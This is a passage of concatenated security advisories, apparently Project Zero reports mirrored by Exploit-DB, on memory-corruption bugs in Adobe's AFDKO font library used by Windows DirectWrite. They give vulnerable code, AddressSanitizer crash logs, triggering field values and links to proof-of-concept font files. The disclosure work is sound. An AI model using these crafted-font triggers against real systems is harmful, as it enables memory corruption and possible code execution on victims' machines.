This frame has 2 object(s):
[32, 757896) 'h' (line 2524) <== Memory access at offset 76 is inside this variable
[758160, 758376) 'Exception' (line 2586)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 in t2Decode
Shadow bytes around the buggy address:
0x10007ab4a670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007ab4a6c0: f1 f1 f1 f1 00 00 f7 f7 f7[f7]00 00 00 00 00 00
0x10007ab4a6d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a6e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a6f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007ab4a710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==122021==ABORTING
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47091.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
In this specific case, the uninitialized memory used in the vulnerable code originates from the client-provided allocator callback. According to our analysis the callback provided by DirectWrite zeroes out the returned memory by itself, which should reduce the impact of the bug to a NULL pointer dereference. However, in case the implementation of the allocator ever changes in the future, we have opted to report the bug despite its apparent low severity at this time, especially considering that the resulting primitive is the invocation of a function pointer loaded from the uninitialized address.
-----=====[ Description ]=====-----
The bug resides in the support of variable fonts, and specifically in the loading of the "avar" table. We're interested in the following structures (from source/varread/varread.c):
--- cut ---
84 /* avar table */
85 struct var_avar_;
86 typedef struct var_avar_ *var_avar;
87
[...]
91
92 /* avar table */
93
94 typedef struct axisValueMap_ {
95 Fixed fromCoord;
96 Fixed toCoord;
97 } axisValueMap;
98
99 typedef dnaDCL(axisValueMap, axisValueMapArray);
100
101 typedef struct segmentMap_ {
102 unsigned short positionMapCount;
103 axisValueMapArray valueMaps;
104 } segmentMap;
105
106 typedef dnaDCL(segmentMap, segmentMapArray);
107
108 struct var_avar_ {
109 unsigned short axisCount;
110 segmentMapArray segmentMaps;
111 };
--- cut ---
In other words, an "avar" structure contains a list of segment maps, each of which contains a list of value maps. The object is allocated and initialized in the var_loadavar() function. It is possible to bail out of the parsing in several places in the code:
--- cut ---
297 if (table->length < AVAR_TABLE_HEADER_SIZE + (unsigned long)AVAR_SEGMENT_MAP_SIZE * avar->axisCount) {
298 sscb->message(sscb, "invalid avar table size or axis/instance count/size");
299 goto cleanup;
300 }
301
302 dnaINIT(sscb->dna, avar->segmentMaps, 0, 1);
303 if (dnaSetCnt(&avar->segmentMaps, DNA_ELEM_SIZE_(avar->segmentMaps), avar->axisCount) < 0)
304 goto cleanup;
[...]
311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) {
312 sscb->message(sscb, "avar axis value map out of bounds");
313 goto cleanup;
314 }
315
316 dnaINIT(sscb->dna, seg->valueMaps, 0, 1);
317 if (dnaSetCnt(&seg->valueMaps, DNA_ELEM_SIZE_(seg->valueMaps), seg->positionMapCount) < 0)
318 goto cleanup;
--- cut ---
which leads to freeing the entire "avar" object:
--- cut ---
339 cleanup:;
340 HANDLER
341 END_HANDLER
342
343 if (!success) {
344 var_freeavar(sscb, avar);
345 avar = 0;
346 }
--- cut ---
When a parsing error occurs, the object may be only partially initialized. However, the var_freeavar() function doesn't take it into account and unconditionally attempts to free all value maps lists inside of all segment maps lists:
--- cut ---
255 static void var_freeavar(ctlSharedStmCallbacks *sscb, var_avar avar) {
256 if (avar) {
257 unsigned short i;
258
259 for (i = 0; i < avar->axisCount; i++) {
260 dnaFREE(avar->segmentMaps.array[i].valueMaps);
261 }
262 dnaFREE(avar->segmentMaps);
263
264 sscb->memFree(sscb, avar);
265 }
266 }
--- cut ---
In the code above, the data under avar->segmentMaps.array[i].valueMaps may be uninitialized. The dnaFREE() call translates to (source/dynarr/dynarr.c):
--- cut ---
178 /* Free dynamic array object. */
179 void dnaFreeObj(void *object) {
180 dnaGeneric *da = (dnaGeneric *)object;
181 if (da->size != 0) {
182 dnaCtx h = da->ctx;
183 h->mem.manage(&h->mem, da->array, 0);
184 da->size = 0;
185 }
186 }
--- cut ---
In line 183, the "h" pointer contains uninitialized bytes. As it is used to fetch a function pointer to call, the condition is a serious security vulnerability. However, it is important to note that the implementation of dynamic arrays in AFDKO relies on an external memory allocator provided by the library user, and so, the feasibility of exploitation may also depend on it. For example, the allocator in Microsoft DirectWrite returns zero-ed out memory, making the bug currently non-exploitable through that attack vector.
-----=====[ Proof of Concept ]=====-----
The proof of concept file triggers the bug by declaring avar->axisCount as 1 and having seg->positionMapCount set to 0xffff. This causes the following sanity check to fail, leading to a crash while freeing resources:
--- cut ---
311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) {
312 sscb->message(sscb, "avar axis value map out of bounds");
313 goto cleanup;
314 }
--- cut ---
-----=====[ Crash logs ]=====-----
A crash log from the "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>:
--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183
183 h->mem.manage(&h->mem, da->array, 0);
(gdb) where
#0 0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183
#1 0x00000000007e399a in var_freeavar (sscb=0x62a000004fa8, avar=0x6060000001a0) at ../../../../../source/varread/varread.c:260
#2 0x00000000007e37be in var_loadavar (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:344
#3 0x00000000007dfb5d in var_loadaxes (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:484
#4 0x0000000000527f74 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
at ../../../../../source/cffread/cffread.c:2681
#5 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#6 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf")
at ../../../../source/tx.c:429
#7 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf")
at ../../../../source/tx.c:488
#8 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558
#9 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631
(gdb) print h
$1 = (dnaCtx) 0xbebebebebebebebe
(gdb)
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47090.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
In this specific case, setting the CFR_FLATTEN_CUBE flag while interacting with AFDKO is required to trigger the bug. According to our analysis, DirectWrite currently doesn't specify this flag, but it still contains the do_set_weight_vector_cube() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_FLATTEN_CUBE flag is ever added in the future, we have opted to report the bug despite its apparent unreachability at this time.
-----=====[ Description ]=====-----
The bug resides in the do_set_weight_vector_cube() function in afdko/c/public/lib/source/t2cstr/t2cstr.c, with the following definition:
--- cut ---
985 static int do_set_weight_vector_cube(t2cCtx h, int nAxes) {
--- cut ---
The nAxes parameter can be controlled through the tx_SETWVN instruction:
--- cut ---
1912 case tx_SETWVN: {
1913 int numAxes = (int)POP();
1914 result = do_set_weight_vector_cube(h, numAxes);
1915 if (result || !(h->flags & FLATTEN_CUBE))
1916 return result;
--- cut ---
The assumption is that the number of axes specified by the fon't won't be greater than 9, as specified by the kMaxCubeAxes constant in afdko/c/public/lib/resource/txops.h:
--- cut ---
194 #define kMaxCubeAxes 9
--- cut ---
However this assumption is never explicitly verified in do_set_weight_vector_cube(). As a result, if the FLATTEN_CUBE flag is set in h->flags, the following code will be executed:
--- cut ---
989 int nMasters = 1 << nAxes;
990 float NDV[kMaxCubeAxes];
[...]
1035 while (i < nAxes) {
1036 NDV[i] = (float)((100 + (long)composeOps[3 + i]) / 200.0);
1037 i++;
1038 }
1039
1040 /* Compute Weight Vector */
1041 for (i = 0; i < nMasters; i++) {
1042 h->cube[h->cubeStackDepth].WV[i] = 1;
1043 for (j = 0; j < nAxes; j++)
1044 h->cube[h->cubeStackDepth].WV[i] *= (i & 1 << j) ? NDV[j] : 1 - NDV[j];
1045 }
--- cut ---
If nAxes larger than 9 is specified, the local NDV[] buffer will be overflown in line 1036, followed by another buffer overflow in lines 1042 and 1044, as the WV[] array only consists of 2**9 elements, but the loops will try to write 2**10 or a larger power of 2 of values.
According to our observations, one of the biggest clients of AFDKO, Microsoft DirectWrite, doesn't set the CFR_FLATTEN_CUBE flag while interacting with the library, and is therefore not affected by the vulnerability (because it follows a different path to compose_callback). In the standard "tx" tool, the flag can be toggled on with the "-cubef" argument:
--- cut ---
-cubef flattens Cube source to a normal Type 1 font. Can be used with all output formats
--- cut ---
-----=====[ Proof of Concept ]=====-----
The proof of concept file triggers the bug by using the tx_SETWVN instruction to call do_set_weight_vector_cube(nAxes=16) in the CharString of the "A" glyph.
-----=====[ Crash logs ]=====-----
A crash log from the "tx" tool compiled with AddressSanitizer, run as ./tx -cubef -cff <path to font file>:
--- cut ---
=================================================================
==119029==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xff934174 at pc 0x083112cc bp 0xff934128 sp 0xff934120
WRITE of size 4 at 0xff934174 thread T0
#0 0x83112cb in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16
#1 0x82f4112 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1914:38
#2 0x82e4816 in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1412:34
#3 0x82da1c4 in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18
#4 0x8194f84 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14
#5 0x8194131 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9
#6 0x8156184 in cfrReadFont afdko/c/tx/source/tx.c:151:18
#7 0x81556df in doFile afdko/c/tx/source/tx.c:429:17
#8 0x8152fc9 in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#9 0x81469a6 in parseArgs afdko/c/tx/source/tx.c:558:17
#10 0x814263f in main afdko/c/tx/source/tx.c:1631:9
#11 0xf7b9c275 in __libc_start_main
#12 0x806a590 in _start
Address 0xff934174 is located in stack of thread T0 at offset 52 in frame
#0 0x83100ef in do_set_weight_vector_cube afdko/c/public/lib/source/t2cstr/t2cstr.c:985
This frame has 1 object(s):
[16, 52) 'NDV' (line 990) <== Memory access at offset 52 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow afdko/c/public/lib/source/t2cstr/t2cstr.c:1036:16 in do_set_weight_vector_cube
Shadow bytes around the buggy address:
0x3ff267d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff267e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff267f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff26800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff26810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x3ff26820: 00 00 00 00 00 00 00 00 f1 f1 00 00 00 00[04]f3
0x3ff26830: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff26840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff26850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff26860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x3ff26870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==119029==ABORTING
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47089.zip
-----=====[ Background ]=====-----
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
In this specific case, the CFR_NO_ENCODING flag must be unset while interacting with AFDKO to trigger the bug. According to our analysis, DirectWrite currently does specify this flag, but it still contains the readEncoding() function including the vulnerable code. In case the code can be reached in a way we haven't considered, or the CFR_NO_ENCODING flag is ever removed in the future, we have opted to report the bug despite its apparent unreachability at this time.
-----=====[ Description ]=====-----
The readEncoding() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the encoding table of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO, if the CFR_NO_ENCODING flag is not set. The relevant part of the function is shown below:
--- cut ---
2288 fmt = read1(h);
2289
2290 switch (fmt & 0x7f) {
2291 case 0:
2292 cnt = read1(h);
2293 while (gid <= cnt)
2294 encAdd(h, &h->glyphs.array[gid++], read1(h));
2295 break;
2296 case 1:
2297 cnt = read1(h);
2298 while (cnt--) {
2299 short code = read1(h);
2300 int nLeft = read1(h);
2301 while (nLeft-- >= 0)
2302 encAdd(h, &h->glyphs.array[gid++], code++);
2303 }
2304 break;
2305 default:
2306 fatal(h, cfrErrEncodingFmt);
2307 }
--- cut ---
In both loops in lines 2292-2294 and 2297-2303, the code doesn't consider the size of the h->glyphs array and writes to it solely based on the encoding information. If the values read from the input stream in lines 2292, 2297 and/or 2300 exceed the number of glyphs in the font, the array may be overflown by the encAdd() function, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font:
--- cut ---
1791 dnaSET_CNT(h->glyphs, index.count);
--- cut ---
-----=====[ Proof of Concept ]=====-----
The three attached proof of concept files were generated by a fuzzer running against the "tx" utility compiled with AddressSanitizer. They are not complete OpenType fonts but rather raw CFF streams, which causes tx to not use the CFR_NO_ENCODING flag, which is necessary to reach the vulnerable readEncoding() function (c/tx/source/tx.c):
--- cut ---
425 case src_OTF:
426 h->cfr.flags |= CFR_NO_ENCODING;
427 /* Fall through */
428 case src_CFF:
429 cfrReadFont(h, rec->offset, rec->iTTC);
430 break;
--- cut ---
-----=====[ Crash logs ]=====-----
A 64-bit "tx" program compiled with ASAN crashes with the following report when started with a ./tx -cff poc.cff command:
--- cut ---
=================================================================
==205898==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b220 at pc 0x0000005573aa bp 0x7fff35b2b5c0 sp 0x7fff35b2b5b8
READ of size 8 at 0x62a00000b220 thread T0
#0 0x5573a9 in encAdd afdko/c/public/lib/source/cffread/cffread.c:2203:14
#1 0x540f80 in readEncoding afdko/c/public/lib/source/cffread/cffread.c:2302:29
#2 0x529eb9 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2805:17
#3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#8 0x7f116e1722b0 in __libc_start_main
#9 0x41e5b9 in _start
0x62a00000b220 is located 32 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200)
allocated by thread T0 here:
#0 0x4c63f3 in __interceptor_malloc
#1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
#2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
#3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
#4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
#5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
#6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
#7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
#8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
#9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
#10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
#11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
#12 0x7f116e1722b0 in __libc_start_main
SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2203:14 in encAdd
Shadow bytes around the buggy address:
0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c547fff9640: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==205898==ABORTING
--- cut ---
-----=====[ References ]=====-----
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47093.zip